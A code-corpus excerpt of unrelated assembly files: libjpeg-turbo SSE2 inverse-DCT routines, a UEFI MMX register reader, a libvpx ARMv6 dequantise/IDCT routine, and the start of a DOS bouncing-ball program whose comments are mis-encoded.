PB_CENTERJSAMP times 16 db CENTERJSAMPLE
alignz 32
; --------------------------------------------------------------------------
SECTION SEG_TEXT
BITS 64
;
; Perform dequantization and inverse DCT on one block of coefficients,
; producing a reduced-size 4x4 output block.
;
; GLOBAL(void)
; jsimd_idct_4x4_sse2(void *dct_table, JCOEFPTR coef_block,
; JSAMPARRAY output_buf, JDIMENSION output_col)
;
; r10 = void *dct_table
; r11 = JCOEFPTR coef_block
; r12 = JSAMPARRAY output_buf
; r13d = JDIMENSION output_col
%define original_rbp rbp + 0
%define wk(i) rbp - (WK_NUM - (i)) * SIZEOF_XMMWORD
; xmmword wk[WK_NUM]
%define WK_NUM 2
align 32
GLOBAL_FUNCTION(jsimd_idct_4x4_sse2)
EXTN(jsimd_idct_4x4_sse2):
push rbp
mov rax, rsp ; rax = original rbp
sub rsp, byte 4
and rsp, byte (-SIZEOF_XMMWORD) ; align to 128 bits
mov [rsp], rax
mov rbp, rsp ; rbp = aligned rbp
lea rsp, [wk(0)]
collect_args 4
; ---- Pass 1: process columns from input.
mov rdx, r10 ; quantptr
mov rsi, r11 ; inptr
%ifndef NO_ZERO_COLUMN_TEST_4X4_SSE2
mov eax, DWORD [DWBLOCK(1,0,rsi,SIZEOF_JCOEF)]
or eax, DWORD [DWBLOCK(2,0,rsi,SIZEOF_JCOEF)]
jnz short .columnDCT
movdqa xmm0, XMMWORD [XMMBLOCK(1,0,rsi,SIZEOF_JCOEF)]
movdqa xmm1, XMMWORD [XMMBLOCK(2,0,rsi,SIZEOF_JCOEF)]
por xmm0, XMMWORD [XMMBLOCK(3,0,rsi,SIZEOF_JCOEF)]
por xmm1, XMMWORD [XMMBLOCK(5,0,rsi,SIZEOF_JCOEF)]
por xmm0, XMMWORD [XMMBLOCK(6,0,rsi,SIZEOF_JCOEF)]
por xmm1, XMMWORD [XMMBLOCK(7,0,rsi,SIZEOF_JCOEF)]
por xmm0, xmm1
packsswb xmm0, xmm0
packsswb xmm0, xmm0
movd eax, xmm0
test rax, rax
jnz short .columnDCT
; -- AC terms all zero
movdqa xmm0, XMMWORD [XMMBLOCK(0,0,rsi,SIZEOF_JCOEF)]
pmullw xmm0, XMMWORD [XMMBLOCK(0,0,rdx,SIZEOF_ISLOW_MULT_TYPE)]
psllw xmm0, PASS1_BITS
movdqa xmm3, xmm0 ; xmm0=in0=(00 01 02 03 04 05 06 07)
punpcklwd xmm0, xmm0 ; xmm0=(00 00 01 01 02 02 03 03)
punpckhwd xmm3, xmm3 ; xmm3=(04 04 05 05 06 06 07 07)
pshufd xmm1, xmm0, 0x50 ; xmm1=[col0 col1]=(00 00 00 00 01 01 01 01)
pshufd xmm0, xmm0, 0xFA ; xmm0=[col2 col3]=(02 02 02 02 03 03 03 03)
pshufd xmm6, xmm3, 0x50 ; xmm6=[col4 col5]=(04 04 04 04 05 05 05 05)
pshufd xmm3, xmm3, 0xFA ; xmm3=[col6 col7]=(06 06 06 06 07 07 07 07)
jmp near .column_end
%endif
.columnDCT:
; -- Odd part
movdqa xmm0, XMMWORD [XMMBLOCK(1,0,rsi,SIZEOF_JCOEF)]
movdqa xmm1, XMMWORD [XMMBLOCK(3,0,rsi,SIZEOF_JCOEF)]
pmullw xmm0, XMMWORD [XMMBLOCK(1,0,rdx,SIZEOF_ISLOW_MULT_TYPE)]
pmullw xmm1, XMMWORD [XMMBLOCK(3,0,rdx,SIZEOF_ISLOW_MULT_TYPE)]
movdqa xmm2, XMMWORD [XMMBLOCK(5,0,rsi,SIZEOF_JCOEF)]
movdqa xmm3, XMMWORD [XMMBLOCK(7,0,rsi,SIZEOF_JCOEF)]
pmullw xmm2, XMMWORD [XMMBLOCK(5,0,rdx,SIZEOF_ISLOW_MULT_TYPE)]
pmullw xmm3, XMMWORD [XMMBLOCK(7,0,rdx,SIZEOF_ISLOW_MULT_TYPE)]
movdqa xmm4, xmm0
movdqa xmm5, xmm0
punpcklwd xmm4, xmm1
punpckhwd xmm5, xmm1
movdqa xmm0, xmm4
movdqa xmm1, xmm5
pmaddwd xmm4, [rel PW_F256_F089] ; xmm4=(tmp2L)
pmaddwd xmm5, [rel PW_F256_F089] ; xmm5=(tmp2H)
pmaddwd xmm0, [rel PW_F106_MF217] ; xmm0=(tmp0L)
pmaddwd xmm1, [rel PW_F106_MF217] ; xmm1=(tmp0H)
movdqa xmm6, xmm2
movdqa xmm7, xmm2
punpcklwd xmm6, xmm3
punpckhwd xmm7, xmm3
movdqa xmm2, xmm6
movdqa xmm3, xmm7
pmaddwd xmm6, [rel PW_MF060_MF050] ; xmm6=(tmp2L)
pmaddwd xmm7, [rel PW_MF060_MF050] ; xmm7=(tmp2H)
pmaddwd xmm2, [rel PW_F145_MF021] ; xmm2=(tmp0L)
pmaddwd xmm3, [rel PW_F145_MF021] ; xmm3=(tmp0H)
paddd xmm6, xmm4 ; xmm6=tmp2L
paddd xmm7, xmm5 ; xmm7=tmp2H
paddd xmm2, xmm0 ; xmm2=tmp0L
paddd xmm3, xmm1 ; xmm3=tmp0H
movdqa XMMWORD [wk(0)], xmm2 ; wk(0)=tmp0L
movdqa XMMWORD [wk(1)], xmm3 ; wk(1)=tmp0H
; -- Even part
movdqa xmm4, XMMWORD [XMMBLOCK(0,0,rsi,SIZEOF_JCOEF)]
movdqa xmm5, XMMWORD [XMMBLOCK(2,0,rsi,SIZEOF_JCOEF)]
movdqa xmm0, XMMWORD [XMMBLOCK(6,0,rsi,SIZEOF_JCOEF)]
pmullw xmm4, XMMWORD [XMMBLOCK(0,0,rdx,SIZEOF_ISLOW_MULT_TYPE)]
pmullw xmm5, XMMWORD [XMMBLOCK(2,0,rdx,SIZEOF_ISLOW_MULT_TYPE)]
pmullw xmm0, XMMWORD [XMMBLOCK(6,0,rdx,SIZEOF_ISLOW_MULT_TYPE)]
pxor xmm1, xmm1
pxor xmm2, xmm2
punpcklwd xmm1, xmm4 ; xmm1=tmp0L
punpckhwd xmm2, xmm4 ; xmm2=tmp0H
psrad xmm1, (16-CONST_BITS-1) ; psrad xmm1,16 & pslld xmm1,CONST_BITS+1
psrad xmm2, (16-CONST_BITS-1) ; psrad xmm2,16 & pslld xmm2,CONST_BITS+1
movdqa xmm3, xmm5 ; xmm5=in2=z2
punpcklwd xmm5, xmm0 ; xmm0=in6=z3
punpckhwd xmm3, xmm0
pmaddwd xmm5, [rel PW_F184_MF076] ; xmm5=tmp2L
pmaddwd xmm3, [rel PW_F184_MF076] ; xmm3=tmp2H
movdqa xmm4, xmm1
movdqa xmm0, xmm2
paddd xmm1, xmm5 ; xmm1=tmp10L
paddd xmm2, xmm3 ; xmm2=tmp10H
psubd xmm4, xmm5 ; xmm4=tmp12L
psubd xmm0, xmm3 ; xmm0=tmp12H
; -- Final output stage
movdqa xmm5, xmm1
movdqa xmm3, xmm2
paddd xmm1, xmm6 ; xmm1=data0L
paddd xmm2, xmm7 ; xmm2=data0H
psubd xmm5, xmm6 ; xmm5=data3L
psubd xmm3, xmm7 ; xmm3=data3H
movdqa xmm6, [rel PD_DESCALE_P1_4] ; xmm6=[rel PD_DESCALE_P1_4]
paddd xmm1, xmm6
paddd xmm2, xmm6
psrad xmm1, DESCALE_P1_4
psrad xmm2, DESCALE_P1_4
paddd xmm5, xmm6
paddd xmm3, xmm6
psrad xmm5, DESCALE_P1_4
psrad xmm3, DESCALE_P1_4
packssdw xmm1, xmm2 ; xmm1=data0=(00 01 02 03 04 05 06 07)
packssdw xmm5, xmm3 ; xmm5=data3=(30 31 32 33 34 35 36 37)
movdqa xmm7, XMMWORD [wk(0)] ; xmm7=tmp0L
movdqa xmm6, XMMWORD [wk(1)] ; xmm6=tmp0H
movdqa xmm2, xmm4
movdqa xmm3, xmm0
paddd xmm4, xmm7 ; xmm4=data1L
paddd xmm0, xmm6 ; xmm0=data1H
psubd xmm2, xmm7 ; xmm2=data2L
psubd xmm3, xmm6 ; xmm3=data2H
movdqa xmm7, [rel PD_DESCALE_P1_4] ; xmm7=[rel PD_DESCALE_P1_4]
paddd xmm4, xmm7
paddd xmm0, xmm7
psrad xmm4, DESCALE_P1_4
psrad xmm0, DESCALE_P1_4
paddd xmm2, xmm7
paddd xmm3, xmm7
psrad xmm2, DESCALE_P1_4
psrad xmm3, DESCALE_P1_4
packssdw xmm4, xmm0 ; xmm4=data1=(10 11 12 13 14 15 16 17)
packssdw xmm2, xmm3 ; xmm2=data2=(20 21 22 23 24 25 26 27)
movdqa xmm6, xmm1 ; transpose coefficients(phase 1)
punpcklwd xmm1, xmm4 ; xmm1=(00 10 01 11 02 12 03 13)
punpckhwd xmm6, xmm4 ; xmm6=(04 14 05 15 06 16 07 17)
movdqa xmm7, xmm2 ; transpose coefficients(phase 1)
punpcklwd xmm2, xmm5 ; xmm2=(20 30 21 31 22 32 23 33)
punpckhwd xmm7, xmm5 ; xmm7=(24 34 25 35 26 36 27 37)
movdqa xmm0, xmm1 ; transpose coefficients(phase 2)
punpckldq xmm1, xmm2 ; xmm1=[col0 col1]=(00 10 20 30 01 11 21 31)
punpckhdq xmm0, xmm2 ; xmm0=[col2 col3]=(02 12 22 32 03 13 23 33)
movdqa xmm3, xmm6 ; transpose coefficients(phase 2)
punpckldq xmm6, xmm7 ; xmm6=[col4 col5]=(04 14 24 34 05 15 25 35)
punpckhdq xmm3, xmm7 ; xmm3=[col6 col7]=(06 16 26 36 07 17 27 37)
.column_end:
; -- Prefetch the next coefficient block
prefetchnta [rsi + DCTSIZE2*SIZEOF_JCOEF + 0*32]
prefetchnta [rsi + DCTSIZE2*SIZEOF_JCOEF + 1*32]
prefetchnta [rsi + DCTSIZE2*SIZEOF_JCOEF + 2*32]
prefetchnta [rsi + DCTSIZE2*SIZEOF_JCOEF + 3*32]
; ---- Pass 2: process rows, store into output array.
mov rax, [original_rbp]
mov rdi, r12 ; (JSAMPROW *)
mov eax, r13d
; -- Even part
pxor xmm4, xmm4
punpcklwd xmm4, xmm1 ; xmm4=tmp0
psrad xmm4, (16-CONST_BITS-1) ; psrad xmm4,16 & pslld xmm4,CONST_BITS+1
; -- Odd part
punpckhwd xmm1, xmm0
punpckhwd xmm6, xmm3
movdqa xmm5, xmm1
movdqa xmm2, xmm6
pmaddwd xmm1, [rel PW_F256_F089] ; xmm1=(tmp2)
pmaddwd xmm6, [rel PW_MF060_MF050] ; xmm6=(tmp2)
pmaddwd xmm5, [rel PW_F106_MF217] ; xmm5=(tmp0)
pmaddwd xmm2, [rel PW_F145_MF021] ; xmm2=(tmp0)
paddd xmm6, xmm1 ; xmm6=tmp2
paddd xmm2, xmm5 ; xmm2=tmp0
; -- Even part
punpcklwd xmm0, xmm3
pmaddwd xmm0, [rel PW_F184_MF076] ; xmm0=tmp2
movdqa xmm7, xmm4
paddd xmm4, xmm0 ; xmm4=tmp10
psubd xmm7, xmm0 ; xmm7=tmp12
; -- Final output stage
movdqa xmm1, [rel PD_DESCALE_P2_4] ; xmm1=[rel PD_DESCALE_P2_4]
movdqa xmm5, xmm4
movdqa xmm3, xmm7
paddd xmm4, xmm6 ; xmm4=data0=(00 10 20 30)
paddd xmm7, xmm2 ; xmm7=data1=(01 11 21 31)
psubd xmm5, xmm6 ; xmm5=data3=(03 13 23 33)
psubd xmm3, xmm2 ; xmm3=data2=(02 12 22 32)
paddd xmm4, xmm1
paddd xmm7, xmm1
psrad xmm4, DESCALE_P2_4
psrad xmm7, DESCALE_P2_4
paddd xmm5, xmm1
paddd xmm3, xmm1
psrad xmm5, DESCALE_P2_4
psrad xmm3, DESCALE_P2_4
packssdw xmm4, xmm3 ; xmm4=(00 10 20 30 02 12 22 32)
packssdw xmm7, xmm5 ; xmm7=(01 11 21 31 03 13 23 33)
movdqa xmm0, xmm4 ; transpose coefficients(phase 1)
punpcklwd xmm4, xmm7 ; xmm4=(00 01 10 11 20 21 30 31)
punpckhwd xmm0, xmm7 ; xmm0=(02 03 12 13 22 23 32 33)
movdqa xmm6, xmm4 ; transpose coefficients(phase 2)
punpckldq xmm4, xmm0 ; xmm4=(00 01 02 03 10 11 12 13)
punpckhdq xmm6, xmm0 ; xmm6=(20 21 22 23 30 31 32 33)
packsswb xmm4, xmm6 ; xmm4=(00 01 02 03 10 11 12 13 20 ..)
paddb xmm4, [rel PB_CENTERJSAMP]
pshufd xmm2, xmm4, 0x39 ; xmm2=(10 11 12 13 20 21 22 23 30 ..)
pshufd xmm1, xmm4, 0x4E ; xmm1=(20 21 22 23 30 31 32 33 00 ..)
pshufd xmm3, xmm4, 0x93 ; xmm3=(30 31 32 33 00 01 02 03 10 ..)
mov rdx, JSAMPROW [rdi+0*SIZEOF_JSAMPROW]
mov rsi, JSAMPROW [rdi+1*SIZEOF_JSAMPROW]
movd XMM_DWORD [rdx+rax*SIZEOF_JSAMPLE], xmm4
movd XMM_DWORD [rsi+rax*SIZEOF_JSAMPLE], xmm2
mov rdx, JSAMPROW [rdi+2*SIZEOF_JSAMPROW]
mov rsi, JSAMPROW [rdi+3*SIZEOF_JSAMPROW]
movd XMM_DWORD [rdx+rax*SIZEOF_JSAMPLE], xmm1
movd XMM_DWORD [rsi+rax*SIZEOF_JSAMPLE], xmm3
uncollect_args 4
mov rsp, rbp ; rsp <- aligned rbp
pop rsp ; rsp <- original rbp
pop rbp
ret
; --------------------------------------------------------------------------
;
; Perform dequantization and inverse DCT on one block of coefficients,
; producing a reduced-size 2x2 output block.
;
; GLOBAL(void)
; jsimd_idct_2x2_sse2(void *dct_table, JCOEFPTR coef_block,
; JSAMPARRAY output_buf, JDIMENSION output_col)
;
; r10 = void *dct_table
; r11 = JCOEFPTR coef_block
; r12 = JSAMPARRAY output_buf
; r13d = JDIMENSION output_col
align 32
GLOBAL_FUNCTION(jsimd_idct_2x2_sse2)
EXTN(jsimd_idct_2x2_sse2):
push rbp
mov rax, rsp
mov rbp, rsp
collect_args 4
push rbx
; ---- Pass 1: process columns from input.
mov rdx, r10 ; quantptr
mov rsi, r11 ; inptr
; | input: | result: |
; | 00 01 ** 03 ** 05 ** 07 | |
; | 10 11 ** 13 ** 15 ** 17 | |
; | ** ** ** ** ** ** ** ** | |
; | 30 31 ** 33 ** 35 ** 37 | A0 A1 A3 A5 A7 |
; | ** ** ** ** ** ** ** ** | B0 B1 B3 B5 B7 |
; | 50 51 ** 53 ** 55 ** 57 | |
; | ** ** ** ** ** ** ** ** | |
; | 70 71 ** 73 ** 75 ** 77 | |
; -- Odd part
movdqa xmm0, XMMWORD [XMMBLOCK(1,0,rsi,SIZEOF_JCOEF)]
movdqa xmm1, XMMWORD [XMMBLOCK(3,0,rsi,SIZEOF_JCOEF)]
pmullw xmm0, XMMWORD [XMMBLOCK(1,0,rdx,SIZEOF_ISLOW_MULT_TYPE)]
pmullw xmm1, XMMWORD [XMMBLOCK(3,0,rdx,SIZEOF_ISLOW_MULT_TYPE)]
movdqa xmm2, XMMWORD [XMMBLOCK(5,0,rsi,SIZEOF_JCOEF)]
movdqa xmm3, XMMWORD [XMMBLOCK(7,0,rsi,SIZEOF_JCOEF)]
pmullw xmm2, XMMWORD [XMMBLOCK(5,0,rdx,SIZEOF_ISLOW_MULT_TYPE)]
pmullw xmm3, XMMWORD [XMMBLOCK(7,0,rdx,SIZEOF_ISLOW_MULT_TYPE)]
; xmm0=(10 11 ** 13 ** 15 ** 17), xmm1=(30 31 ** 33 ** 35 ** 37)
; xmm2=(50 51 ** 53 ** 55 ** 57), xmm3=(70 71 ** 73 ** 75 ** 77)
pcmpeqd xmm7, xmm7
pslld xmm7, WORD_BIT ; xmm7={0x0000 0xFFFF 0x0000 0xFFFF ..}
movdqa xmm4, xmm0 ; xmm4=(10 11 ** 13 ** 15 ** 17)
movdqa xmm5, xmm2 ; xmm5=(50 51 ** 53 ** 55 ** 57)
punpcklwd xmm4, xmm1 ; xmm4=(10 30 11 31 ** ** 13 33)
punpcklwd xmm5, xmm3 ; xmm5=(50 70 51 71 ** ** 53 73)
pmaddwd xmm4, [rel PW_F362_MF127]
pmaddwd xmm5, [rel PW_F085_MF072]
psrld xmm0, WORD_BIT ; xmm0=(11 -- 13 -- 15 -- 17 --)
pand xmm1, xmm7 ; xmm1=(-- 31 -- 33 -- 35 -- 37)
psrld xmm2, WORD_BIT ; xmm2=(51 -- 53 -- 55 -- 57 --)
pand xmm3, xmm7 ; xmm3=(-- 71 -- 73 -- 75 -- 77)
por xmm0, xmm1 ; xmm0=(11 31 13 33 15 35 17 37)
por xmm2, xmm3 ; xmm2=(51 71 53 73 55 75 57 77)
pmaddwd xmm0, [rel PW_F362_MF127]
pmaddwd xmm2, [rel PW_F085_MF072]
paddd xmm4, xmm5 ; xmm4=tmp0[col0 col1 **** col3]
paddd xmm0, xmm2 ; xmm0=tmp0[col1 col3 col5 col7]
; -- Even part
movdqa xmm6, XMMWORD [XMMBLOCK(0,0,rsi,SIZEOF_JCOEF)]
pmullw xmm6, XMMWORD [XMMBLOCK(0,0,rdx,SIZEOF_ISLOW_MULT_TYPE)]
; xmm6=(00 01 ** 03 ** 05 ** 07)
movdqa xmm1, xmm6 ; xmm1=(00 01 ** 03 ** 05 ** 07)
pslld xmm6, WORD_BIT ; xmm6=(-- 00 -- ** -- ** -- **)
pand xmm1, xmm7 ; xmm1=(-- 01 -- 03 -- 05 -- 07)
psrad xmm6, (WORD_BIT-CONST_BITS-2) ; xmm6=tmp10[col0 **** **** ****]
psrad xmm1, (WORD_BIT-CONST_BITS-2) ; xmm1=tmp10[col1 col3 col5 col7]
; -- Final output stage
movdqa xmm3, xmm6
movdqa xmm5, xmm1
paddd xmm6, xmm4 ; xmm6=data0[col0 **** **** ****]=(A0 ** ** **)
paddd xmm1, xmm0 ; xmm1=data0[col1 col3 col5 col7]=(A1 A3 A5 A7)
psubd xmm3, xmm4 ; xmm3=data1[col0 **** **** ****]=(B0 ** ** **)
psubd xmm5, xmm0 ; xmm5=data1[col1 col3 col5 col7]=(B1 B3 B5 B7)
movdqa xmm2, [rel PD_DESCALE_P1_2] ; xmm2=[rel PD_DESCALE_P1_2]
punpckldq xmm6, xmm3 ; xmm6=(A0 B0 ** **)
movdqa xmm7, xmm1
punpcklqdq xmm1, xmm5 ; xmm1=(A1 A3 B1 B3)
punpckhqdq xmm7, xmm5 ; xmm7=(A5 A7 B5 B7)
paddd xmm6, xmm2
psrad xmm6, DESCALE_P1_2
paddd xmm1, xmm2
paddd xmm7, xmm2
psrad xmm1, DESCALE_P1_2
psrad xmm7, DESCALE_P1_2
; -- Prefetch the next coefficient block
prefetchnta [rsi + DCTSIZE2*SIZEOF_JCOEF + 0*32]
prefetchnta [rsi + DCTSIZE2*SIZEOF_JCOEF + 1*32]
prefetchnta [rsi + DCTSIZE2*SIZEOF_JCOEF + 2*32]
prefetchnta [rsi + DCTSIZE2*SIZEOF_JCOEF + 3*32]
; ---- Pass 2: process rows, store into output array.
mov rdi, r12 ; (JSAMPROW *)
mov eax, r13d
; | input:| result:|
; | A0 B0 | |
; | A1 B1 | C0 C1 |
; | A3 B3 | D0 D1 |
; | A5 B5 | |
; | A7 B7 | |
; -- Odd part
packssdw xmm1, xmm1 ; xmm1=(A1 A3 B1 B3 A1 A3 B1 B3)
packssdw xmm7, xmm7 ; xmm7=(A5 A7 B5 B7 A5 A7 B5 B7)
pmaddwd xmm1, [rel PW_F362_MF127]
pmaddwd xmm7, [rel PW_F085_MF072]
paddd xmm1, xmm7 ; xmm1=tmp0[row0 row1 row0 row1]
; -- Even part
pslld xmm6, (CONST_BITS+2) ; xmm6=tmp10[row0 row1 **** ****]
; -- Final output stage
movdqa xmm4, xmm6
paddd xmm6, xmm1 ; xmm6=data0[row0 row1 **** ****]=(C0 C1 ** **)
psubd xmm4, xmm1 ; xmm4=data1[row0 row1 **** ****]=(D0 D1 ** **)
punpckldq xmm6, xmm4 ; xmm6=(C0 D0 C1 D1)
paddd xmm6, [rel PD_DESCALE_P2_2]
psrad xmm6, DESCALE_P2_2
packssdw xmm6, xmm6 ; xmm6=(C0 D0 C1 D1 C0 D0 C1 D1)
packsswb xmm6, xmm6 ; xmm6=(C0 D0 C1 D1 C0 D0 C1 D1 ..)
paddb xmm6, [rel PB_CENTERJSAMP]
pextrw ebx, xmm6, 0x00 ; ebx=(C0 D0 -- --)
pextrw ecx, xmm6, 0x01 ; ecx=(C1 D1 -- --)
mov rdx, JSAMPROW [rdi+0*SIZEOF_JSAMPROW]
mov rsi, JSAMPROW [rdi+1*SIZEOF_JSAMPROW]
mov WORD [rdx+rax*SIZEOF_JSAMPLE], bx
mov WORD [rsi+rax*SIZEOF_JSAMPLE], cx
pop rbx
uncollect_args 4
pop rbp
ret
; For some reason, the OS X linker does not honor the request to align the
; segment unless we do this.
align 32
| endlessm/chromium-browser | third_party/libjpeg_turbo/simd/x86_64/jidctred-sse2.asm | Assembly | bsd-3-clause | 22,117 |
;------------------------------------------------------------------------------
;
; Copyright (c) 2006, Intel Corporation. All rights reserved.<BR>
; This program and the accompanying materials
; are licensed and made available under the terms and conditions of the BSD License
; which accompanies this distribution. The full text of the license may be found at
; http://opensource.org/licenses/bsd-license.php.
;
; THE PROGRAM IS DISTRIBUTED UNDER THE BSD LICENSE ON AN "AS IS" BASIS,
; WITHOUT WARRANTIES OR REPRESENTATIONS OF ANY KIND, EITHER EXPRESS OR IMPLIED.
;
; Module Name:
;
; ReadMm1.Asm
;
; Abstract:
;
; AsmReadMm1 function
;
; Notes:
;
;------------------------------------------------------------------------------
.code
;------------------------------------------------------------------------------
; UINT64
; EFIAPI
; AsmReadMm1 (
; VOID
; );
;------------------------------------------------------------------------------
AsmReadMm1 PROC
;
; 64-bit MASM doesn't support MMX instructions, so use opcode here
;
DB 48h, 0fh, 7eh, 0c8h
ret
AsmReadMm1 ENDP
END
| tenpoku1000/UEFI_SecureBoot | src/lib/external/BSD/UDK/MdePkg/Library/BaseLib/X64/ReadMm1.asm | Assembly | mit | 1,122 |
;
; Copyright (c) 2010 The WebM project authors. All Rights Reserved.
;
; Use of this source code is governed by a BSD-style license and patent
; grant that can be found in the LICENSE file in the root of the source
; tree. All contributing project authors may be found in the AUTHORS
; file in the root of the source tree.
;
EXPORT |vp8_dequant_idct_add_v6|
AREA |.text|, CODE, READONLY
;void vp8_dequant_idct_v6(short *input, short *dq, unsigned char *pred,
; unsigned char *dest, int pitch, int stride)
; r0 = input
; r1 = dq
; r2 = pred
; r3 = dest
; sp + 36 = pitch ; +4 = 40
; sp + 40 = stride ; +4 = 44
|vp8_dequant_idct_add_v6| PROC
stmdb sp!, {r4-r11, lr}
ldr r4, [r0] ;input
ldr r5, [r1], #4 ;dq
sub sp, sp, #4
str r3, [sp]
mov r12, #4
vp8_dequant_add_loop
smulbb r6, r4, r5
smultt r7, r4, r5
ldr r4, [r0, #4] ;input
ldr r5, [r1], #4 ;dq
strh r6, [r0], #2
strh r7, [r0], #2
smulbb r6, r4, r5
smultt r7, r4, r5
subs r12, r12, #1
ldrne r4, [r0, #4]
ldrne r5, [r1], #4
strh r6, [r0], #2
strh r7, [r0], #2
bne vp8_dequant_add_loop
sub r0, r0, #32
mov r1, r0
; short_idct4x4llm_v6_dual
ldr r3, cospi8sqrt2minus1
ldr r4, sinpi8sqrt2
ldr r6, [r0, #8]
mov r5, #2
vp8_dequant_idct_loop1_v6
ldr r12, [r0, #24]
ldr r14, [r0, #16]
smulwt r9, r3, r6
smulwb r7, r3, r6
smulwt r10, r4, r6
smulwb r8, r4, r6
pkhbt r7, r7, r9, lsl #16
smulwt r11, r3, r12
pkhbt r8, r8, r10, lsl #16
uadd16 r6, r6, r7
smulwt r7, r4, r12
smulwb r9, r3, r12
smulwb r10, r4, r12
subs r5, r5, #1
pkhbt r9, r9, r11, lsl #16
ldr r11, [r0], #4
pkhbt r10, r10, r7, lsl #16
uadd16 r7, r12, r9
usub16 r7, r8, r7
uadd16 r6, r6, r10
uadd16 r10, r11, r14
usub16 r8, r11, r14
uadd16 r9, r10, r6
usub16 r10, r10, r6
uadd16 r6, r8, r7
usub16 r7, r8, r7
str r6, [r1, #8]
ldrne r6, [r0, #8]
str r7, [r1, #16]
str r10, [r1, #24]
str r9, [r1], #4
bne vp8_dequant_idct_loop1_v6
mov r5, #2
sub r0, r1, #8
vp8_dequant_idct_loop2_v6
ldr r6, [r0], #4
ldr r7, [r0], #4
ldr r8, [r0], #4
ldr r9, [r0], #4
smulwt r1, r3, r6
smulwt r12, r4, r6
smulwt lr, r3, r8
smulwt r10, r4, r8
pkhbt r11, r8, r6, lsl #16
pkhbt r1, lr, r1, lsl #16
pkhbt r12, r10, r12, lsl #16
pkhtb r6, r6, r8, asr #16
uadd16 r6, r1, r6
pkhbt lr, r9, r7, lsl #16
uadd16 r10, r11, lr
usub16 lr, r11, lr
pkhtb r8, r7, r9, asr #16
subs r5, r5, #1
smulwt r1, r3, r8
smulwb r7, r3, r8
smulwt r11, r4, r8
smulwb r9, r4, r8
pkhbt r1, r7, r1, lsl #16
uadd16 r8, r1, r8
pkhbt r11, r9, r11, lsl #16
usub16 r1, r12, r8
uadd16 r8, r11, r6
ldr r9, c0x00040004
ldr r12, [sp, #40]
uadd16 r6, r10, r8
usub16 r7, r10, r8
uadd16 r7, r7, r9
uadd16 r6, r6, r9
uadd16 r10, r14, r1
usub16 r1, r14, r1
uadd16 r10, r10, r9
uadd16 r1, r1, r9
ldr r11, [r2], r12
mov r8, r7, asr #3
pkhtb r9, r8, r10, asr #19
mov r8, r1, asr #3
pkhtb r8, r8, r6, asr #19
uxtb16 lr, r11, ror #8
qadd16 r9, r9, lr
uxtb16 lr, r11
qadd16 r8, r8, lr
usat16 r9, #8, r9
usat16 r8, #8, r8
orr r9, r8, r9, lsl #8
ldr r11, [r2], r12
ldr lr, [sp]
ldr r12, [sp, #44]
mov r7, r7, lsl #16
mov r1, r1, lsl #16
mov r10, r10, lsl #16
mov r6, r6, lsl #16
mov r7, r7, asr #3
pkhtb r7, r7, r10, asr #19
mov r1, r1, asr #3
pkhtb r1, r1, r6, asr #19
uxtb16 r8, r11, ror #8
qadd16 r7, r7, r8
uxtb16 r8, r11
qadd16 r1, r1, r8
usat16 r7, #8, r7
usat16 r1, #8, r1
orr r1, r1, r7, lsl #8
str r9, [lr], r12
str r1, [lr], r12
str lr, [sp]
bne vp8_dequant_idct_loop2_v6
; vpx_memset
sub r0, r0, #32
add sp, sp, #4
mov r12, #0
str r12, [r0]
str r12, [r0, #4]
str r12, [r0, #8]
str r12, [r0, #12]
str r12, [r0, #16]
str r12, [r0, #20]
str r12, [r0, #24]
str r12, [r0, #28]
ldmia sp!, {r4 - r11, pc}
ENDP ; |vp8_dequant_idct_add_v6|
; Constant Pool
cospi8sqrt2minus1 DCD 0x00004E7B
sinpi8sqrt2 DCD 0x00008A8C
c0x00040004 DCD 0x00040004
END
| allwinner-ics/platform_external_libvpx | vp8/decoder/arm/armv6/dequant_idct_v6.asm | Assembly | bsd-3-clause | 4,714 |
;
;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
.model tiny
.code
org 100h
START:
mov AX,0003h ;¢ª«î票¥ ०¨¬ ¨ ®ç¨á⪠íªà
int 10h
mov AX,0B800h
mov ES,AX ; ¤à¥á ¢¨¤¥®¡ãä¥à
mov DX,offset Ek ;¢ë¢®¤ ¨£à®¢®£® ¯®«ï
mov AH,9
int 21h
mov BX,10*160+38*2 ; ç.ª®®à¤¨ â ¢ãâਠ¯®«ï: Y=10, X=38 (áç¥â á 0)
mov SI, 160 ;è £ ¯® Y: "160" -¢¨§ "-160" -¢¢¥àå
mov DI, 4 ;è £ ¯® X: "4" -¢¯à ¢® "-4" -¢«¥¢® (ç¥à¥§ ¯®§¨æ¨î)
Begin:
mov ES:[BX],byte ptr 'O' ; à¨á®¢ âì ᨬ¢®« ¯¥à
mov AH,11h ; ¦ â ª« ¢¨è ? (¥á«¨ ¥ ¦ â®, â® ä« £ ZF=1)
int 16h
jnz Stop ;¥á«¨ ¦ â® çâ®-¨¡ã¤ì, â® ¢ë室 ¨§ ¯à®£à ¬¬ë
call Delay ;§ ¤¥à¦ª
mov ES:[BX],byte ptr 'ú' ; à¨á®¢ âì ᨬ¢®« á«¥¤ ("áâ¥à¥âì ¯¥à®")
mov AH,'#' ;ᨬ¢®« £à ¨æë
push BX ;á®åà ¨«¨ ¤à¥á
add BX,SI ;®¢ë© ¤à¥á: è £ dY
add BX,DI ; è £ dX
cmp ES:[BX],AH ;ᨬ¢®« ¢ ®¢®¬ ¬¥á⥠- £à ¨æ ? (® ¢ AH)
pop BX ;¢®ááâ ®¢¨«¨ ¯à¥¦¨© ¤à¥á
jnz Cont ;¯® ®¢®¬ã ¤à¥áã - ¥ £à ¨æ , ¯à®¤®«¦¥¨¥
mov CH,0 ;ä« £ á®á¥¤¥©: 00 -¢ëáâ㯠01 -ᢥàåã/ᨧã
; 11 -㣮« 10 -á¯à ¢ /á«¥¢
;--¯à®¢¥àª ᨧã
push BX ;á®åà ¨âì ¤à¥á
add BX,SI ;è £ ¢¨§
cmp ES:[BX],AH ;ᢥàåã £à ¨æ ?
pop BX ;¢®ááâ ®¢¨âì ¤à¥á
jnz Metka1 ;¥á«¨ ¤
or CH,00000001b ;£à ¨æ £®à¨§®â «ì ï ("1" ¢ ¬«.¡¨â ä« £ á®á¥¤¥©)
;--¯à®¢¥àª ᢥàåã
Metka1:
push BX
sub BX,SI ;è £ ¢¢¥àå
cmp ES:[BX],AH ;ᢥàåã £à ¨æ ?
pop BX
jnz Metka2 ;¥á«¨ ¤
